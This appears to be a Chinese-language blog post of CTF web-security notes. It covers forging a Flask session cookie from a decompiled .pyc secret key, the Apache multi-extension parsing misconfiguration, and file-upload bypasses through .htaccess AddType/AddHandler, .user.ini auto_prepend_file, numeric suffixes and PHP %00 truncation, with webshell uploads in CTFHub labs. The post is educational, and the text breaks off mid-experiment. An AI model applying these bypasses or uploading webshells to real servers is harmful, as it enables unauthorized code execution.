\\xa7\\r\\r\\n\\x00\\x00\\x00\\x00\\x86\\x84\\xf7e;\\x00\\x00\\x00\\xe3\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xf3\\n\\x00\\x00\\x00\\x97\\x00d\\x00Z\\x00d\\x01S\\x00)\\x02\\xda Rm7GbQJ4uDikyiis6miD7YwsN11rEjfLN)\\x01\\xda\\x16session_encryption_key\\xa9\\x00\\xf3\\x00\\x00\\x00\\x00\\xfa*/var/www/keep-dreaming-sonny-boy/config.py\\xfa\\x08<module>r\\x07\\x00\\x00\\x00\\x01\\x00\\x00\\x00s\\x11\\x00\\x00\\x00\\xf0\\x03\\x01\\x01\\x01\\xd8\\x19;\\xd0\\x00\\x16\\xd0\\x00\\x16\\xd0\\x00\\x16r\\x05\\x00\\x00\\x00

由于转化为json后转义字符\会变成\\,叫狗屁通写一个小小的脚本把以上数据恢复成二进制数据

1
2
3
4
5
6
7
8
9

data_str = """
\\xa7\\r\\r\\n\\x00\\x00\\x00\\x00\\x86\\x84\\xf7e;\\x00\\x00\\x00\\xe3\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xf3\\n\\x00\\x00\\x00\\x97\\x00d\\x00Z\\x00d\\x01S\\x00)\\x02\\xda Rm7GbQJ4uDikyiis6miD7YwsN11rEjfLN)\\x01\\xda\\x16session_encryption_key\\xa9\\x00\\xf3\\x00\\x00\\x00\\x00\\xfa*/var/www/keep-dreaming-sonny-boy/config.py\\xfa\\x08<module>r\\x07\\x00\\x00\\x00\\x01\\x00\\x00\\x00s\\x11\\x00\\x00\\x00\\xf0\\x03\\x01\\x01\\x01\\xd8\\x19;\\xd0\\x00\\x16\\xd0\\x00\\x16\\xd0\\x00\\x16r\\x05\\x00\\x00\\x00
"""
# 将字符串中的转义序列转换为相应的二进制数据
binary_data = bytes(data_str, "utf-8").decode("unicode_escape").encode("latin1")

# 保存到文件
with open("output_binary_data.txt", "wb") as file:
    file.write(binary_data)

.pyc文件的逆向在网上就很多在线的工具可以进行使用，逆向后得到

1
2
3
4
5
6

#!/usr/bin/env python
# visit https://tool.lu/pyc/ for more information
# Version: Python 3.11

session_encryption_key = 'Rm7GbQJ4uDikyiis6miD7YwsN11rEjfL'

再使用session伪造工具flask-session-cookie-manager为造出一个session出来，指令为：

1

python flask_session_cookie_manager3.py encode -s 'Rm7GbQJ4uDikyiis6miD7YwsN11rEjfL' -t "{'admin':True}"

最后得到伪造的session所对应的cookie为：eyJhZG1pbiI6dHJ1ZX0.ZgBMeg.t2OWSLBvEeZpMPUZNBFFcmsFS-o，手动填入浏览器中，并访问/flag

最后得到flag：kalmar{Rem3Mbr_T0_fl0sh!}

2.0-2.2版本存在个漏洞 CE-2012-0053:

攻击者可通过向网站植人超大的Cookie,令其HTTP头超过Apache的LititRequestFieldSize (最大请求长度，4192字节)，使得Apache返回400错误，状态页中包含了HttpOnly 保护的Cookie。

core - Apache HTTP Server 版本 2.4

Apache解析配置漏洞\多后缀名解析配置漏洞

解析配置漏洞简介

此漏洞实际为人为的错误配置导致的漏洞，与Apache本身无关。

Apache对于多后缀文件的处理规则是：Files with Multiple Extensions-mod_mime

元数据指扩展名映射到关于语言、内容类型、字符集或编码的信息 原文： metadata (language, content type, character set or encoding)

文件可以有多个扩展名；扩展名的顺序通常是无关紧要的。例如，如果文件 welcome.html.fr 映射到内容类型 text/html 和法语，则文件 welcome.fr.html 会映射到完全相同的信息。如果给出了多个映射到相同类型元数据的扩展名，则右边的扩展名将被使用，语言和内容编码除外。例如，如果 .gif 映射到媒体类型 image/gif，而 .html 映射到媒体类型 text/html，则文件 welcome.gif.html 将与媒体类型 text/html 关联。

语言和内容编码被视为累积的，因为可以为特定资源分配不止一种语言或编码。例如，文件 welcome.html.en.de 将以 Content-Language: en, de 和 Content-Type: text/html 交付。

当一个具有多个扩展名的文件同时与媒体类型和处理程序关联时，应该小心处理。这通常会导致请求由与处理程序关联的模块处理。例如，如果 .imap 扩展名映射到处理程序 imap-file（来自 mod_imagemap），而 .html 扩展名映射到媒体类型 text/html，则文件 world.imap.html 将同时与 imap-file 处理程序和 text/html 媒体类型关联。处理时，将使用 imap-file 处理程序，因此它将被视为一个 mod_imagemap 图像映射文件。

如果你希望只有文件名中最后一个点分隔的部分映射到特定的元数据，那么不要使用 Add* 指令。例如，如果你希望文件 foo.html.cgi 被处理为 CGI 脚本，但不希望文件 bar.cgi.html 如此处理，那么不要使用 AddHandler cgi-script .cgi，而是使用

仅基于最终扩展名SetHandler配置处理程序

1
2
3

<FilesMatch "[^.]+\.cgi$">
  SetHandler cgi-script
</FilesMatch>

Apache对多后缀文件的识别概括来说为：

1. Apache允许文件有多个扩展名，并且会将所有后缀名进行识别，识别的顺序为：从右到左
   • 如： .html.fr 映射到 Content-Type: text/html 和Content-Language: de。
2. Apache允许扩展名映射到元数据(包括：语言、内容类型、字符集或编码)、处理程序。
   • 如 .html 映射到 Content-Type: text/html。
3. 对于相同类型元数据，以从右到左第一个出现的为准，但对于语言和内容编码可累积的元数据，将会叠加。
   • 如：.gif.html根据此规则映射到 Content-Type: text/html。
   • ​ .html.en.de根据此规则映射到Content-Language: en, de 和 Content-Type: text/html
4. 由于映射到处理程序和映射媒体类型，最后的返回结果不一致（一个为经过程序处理，一个为返回媒体文件）。当出现不同扩展名映射到处理程序和媒体类型时，映射到处理程序的优先等级高于映射到媒体类型
   • 如：.imap.html扩展名.imap 映射到处理程序 imap-file， .html 映射到Content-Type: text/html ，根据上述原则，.imap.html文件会被imap-file程序处理

按我的理解：元数据（metadata）是用于指示文件的类型或处理方式

这里我把元数据（metadata）的定义包括了处理方式，根据一下段落合理的进行拓展定义

If you would prefer only the last dot-separated part of the filename to be mapped to a particular piece of meta-data, then do not use the Add* directives. For example, if you wish to have the file foo.html.cgi processed as a CGI script, but not the file bar.cgi.html, then instead of using AddHandler cgi-script .cgi

如果你希望只有文件名中最后一个点分隔的部分映射到特定的元数据，那么不要使用 Add* 指令。例如，如果你希望文件 foo.html.cgi 被处理为 CGI 脚本，但不希望文件 bar.cgi.html 如此处理，那么不要使用 AddHandler cgi-script .cgi

因此当出现多个映射到处理程序，会按照从右到左第一个出现的为准，进行处理程序

使用 Add* 指令，Apache处理一个文件时会应用上述规则

Add* 指令指的是如：AddType、AddDefaultCharset、AddEncoding、AddHandler、AddOutputFilter、AddLanguage、AddCharset等指令，其中AddHandler设置对应后缀名映射到处理程序，如：

1

AddHandler application/x-httpd-php .php

由此，当用户上传一个a.php.jpg文件时，Apace的配置文件中包含AddHandler处理PHP文件，且未对上传后的文件进行重命名，此时a.php.jpg被解析为一个PHP脚本，解析漏洞由此而来

解析配置漏洞条件

• 文件没有被重命名
• Apache中配置中含有AddHandler的设置

解析配置漏洞解决办法

• 将上传的文件进行重命名
• 根据官方文档的说明，可以使用SetHandler指令来代替AddHandler，因为SetHandler仅根据最右端的后缀名来判断映射的处理程序

什么是文件上传漏洞

文件上传漏洞是指由于对用户文件上传部分的控制不足或者处理缺陷，而导致的用户可以向服务器上传恶意文件并进行执行，后获得执行服务端命令的能力。这里上传的文件可以是木马，病毒，恶意脚本或者WebShell等。

产生文件上传漏洞的原因

• 不充分的文件验证：如果应用程序未能正确验证上传文件的类型（如MIME类型或文件扩展名）和内容，攻击者可能会上传执行恶意代码的文件。
• 不安全的文件存储：如果上传的文件存储在可通过Web直接访问的位置，且文件名可预测或未经过适当处理，攻击者可能会执行上传的恶意文件。
• 未对权限进行限制：权限上没有对于上传的文件目录设置不可执行权限。

例子

CTFHUB-技能树-WEB-文件上传-无验证

因为在上传文件后无验证文件信息以及设置动态脚本不可被执行，因此便可直接上传远程木马文件，

上传后访问此网站路径下的/upload/shell.php发现是空白界面，说明php文件可以被执行，此时通过冰蝎进行远程连接

出现phpinfo页面，说明连接成功，即可获得主机部分权限，转到对应目录读取flag

后端绕过-解析漏洞

解析漏洞通常指的是当应用程序或服务器在处理上传文件时，由于对文件类型的解析不当或不安全，导致攻击者能够上传恶意文件，从而执行不当操作或获取不当权限的安全问题。例如允许用户上传.htaccess文件导致用户可以设置任意文件格式的解析方式

.htaccess绕过

.htaccess简介

.htaccess是一个纯文本文件，它里面存放着Apache服务器配置相关的指令。通过.htaccess可以做到：重写解析规则(如：将png文件作为php来进行解析等)、URL重写、自定义错误页面、MIME类型配置以及访问权限控制等。

.htaccess的作用范围

.htaccess的生效范围为.htaccess文件所在的当前目录。

.htaccess利用前提

• 使用Apache 服务器（ 不适用于Nginx 服务器）
• 能成功上传.htaccess文件的上传，且没有被重命名

.htaccess使用模板

1
2

#对于php
AddHandler application/x-httpd-php .html #将html文件作为php文件进行解析

例题：

CTFHUB-技能树-WEB-文件上传-.htaccess

查看页面源码可以发现页面后端源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33

<!DOCTYPE html>
<html>
<head>
    <meta charset="UTF-8">
    <title>CTFHub 文件上传 - htaccess</title>
</head>
<body>
    <h1>CTFHub 文件上传 - htaccess</h1>
    <form action="" method="post" enctype="multipart/form-data">
        <label for="file">Filename:</label>
        <input type="file" name="file" id="file" />
        <br />
        <input type="submit" name="submit" value="Submit" />
    </form>
</body>
</html>
<!--
if (!empty($_POST['submit'])) {
    $name = basename($_FILES['file']['name']);
    $ext = pathinfo($name)['extension'];
    $blacklist = array("php", "php7", "php5", "php4", "php3", "phtml", "pht", "jsp", "jspa", "jspx", "jsw", "jsv", "jspf", "jtml", "asp", "aspx", "asa", "asax", "ascx", "ashx", "asmx", "cer", "swf");
    if (!in_array($ext, $blacklist)) {
        if (move_uploaded_file($_FILES['file']['tmp_name'], UPLOAD_PATH . $name)) {
            echo "<script>alert('上传成功')</script>";
            echo "上传文件相对路径<br>" . UPLOAD_URL_PATH . $name;
        } else {
            echo "<script>alert('上传失败')</script>";
        }
    } else {
        echo "<script>alert('文件类型不匹配')</script>";
    }
}
-->

在 $blacklist = array("php", "php7", "php5", "php4", "php3", "phtml", "pht", "jsp", "jspa", "jspx", "jsw", "jsv", "jspf", "jtml", "asp", "aspx", "asa", "asax", "ascx", "ashx", "asmx", "cer", "swf");发现大多数的动态执行脚本文件后缀被禁止，但发现.htaccess并没有被禁止，此时可以上传文件.htaccess

1

AddType application/x-httpd-php .txt

再上传含有shell的php代码的txt文件，上传成功后，访问upload/shell.php.txt，无内容显示，说明.txt文件被作为php脚本执行成功，使用冰蝎连接

成功获取phpinfo页面，连接成功，读取flag

.user.ini绕过

.user.ini介绍

php.ini是php的一个全局配置文件，对整个web服务起作用；而.user.ini与.htaccess类似，设置当前目录的配置信息。

详细参考信息：

PHP: .user.ini 文件 - Manual、php - 神秘的.user.ini文件

其中php 配置项中有两个配置可以起到文件包含的作用

1
2

auto_prepend_file = <filename>         //将指定文件包含在该目录中所有php脚本的文件头部
auto_append_file = <filename>          //将指定文件包含在该目录中所有php脚本的文件尾部

.user.ini使用前提

• 能成功上传.user.ini文件的上传，且没有被重命名
• 此目录下已有一个任意的.php文件

.user.ini作用范围

与.htaccess文件相同，.user.ini的生效范围为.user.ini文件所在的当前目录。

.user.ini使用方法

1.首先上传一个含有php代码的任意符合后端检测的文件，以.jpg为例：

文件名为info.jpg,内容为

1

<?php phpinfo();?>

2.载上传入.user.ini文件，内容为：

1

auto_prepend_file = info.jpg   

注：info.jpg需要自己上传问文件名来确定

3.访问文件上传目录下的任意.php文件即可

例题：

数字后缀绕过

数字后缀简介

PHP 文件的标准后缀始终是 .php，适用于所有版本的 PHP。然而，在某些特定场景或由某些开发者/系统中，使用.php3 、.php5 、.php7 等不是 PHP 语言的标准文件后缀,由于一些特殊的设置.php7 等后缀可被PHP解释器解析

使用条件：

Apache 的配置文件或目录下的.htaccess 文件有添加设置，如.php7可被解析的配置为：

1

AddHandler application/x-httpd-php .php7

利用中间件漏洞

中间件漏洞是指在计算机系统中使用的中间件软件中存在的安全漏洞。中间件是指位于操作系统和应用程序之间的软件组件，用于提供不同应用程序之间的通信和交互。常见的中间件包括数据库管理系统、Web服务器(如：Apache、Nginx)等。

指路👉中间件漏洞

后端绕过-软件漏洞

利用PHP某些版本的BUG可以做到一些意想不到的效果。例如，00截断

PHP 00截断绕过

00截断利用条件

• php版本要小于5.3.4，5.3.4及以上已经修复该问题
• PHP的magic_quotes_gpc为OFF状态
• 用户可指定上传路径

00绕过简介

ASCII中0作为特殊字符保留，表示字符串结束。

当用户传递文件上传路径包含00，无论00后存在任何内容文本(或后端直接对00字符串进行拼接其他字符串)，00后的内容都会被截断，最后字符串留下00前的内容且不包括00。

以GET方式举例：

ASCII中的00，无法直接显示，所以使用URL编码，ASCII中00经过url编码后变为%00

页面源码为：

1
2
3

<?php
    include $_GET['file'];
?>

test.txt的内容为

1
2
3

<?php
    echo 'SUCCESS';
?>

test.txt%00.2.txt的内容为

1
2
3

<?php
    echo 'False';
?>

实验1

此时通过GET传递参数，?file=test.txt%00.2.txt

页面出现SUCCESS，说明include的文件是test.txt，此时file被解析为test.txt

实验2：改变页面源码

1
2
3
4